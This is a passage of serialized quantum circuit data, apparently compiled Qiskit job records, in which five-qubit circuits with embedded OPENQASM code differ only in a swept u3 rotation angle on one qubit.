4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1219', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.7000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1221', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1223', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.9000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1225', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': 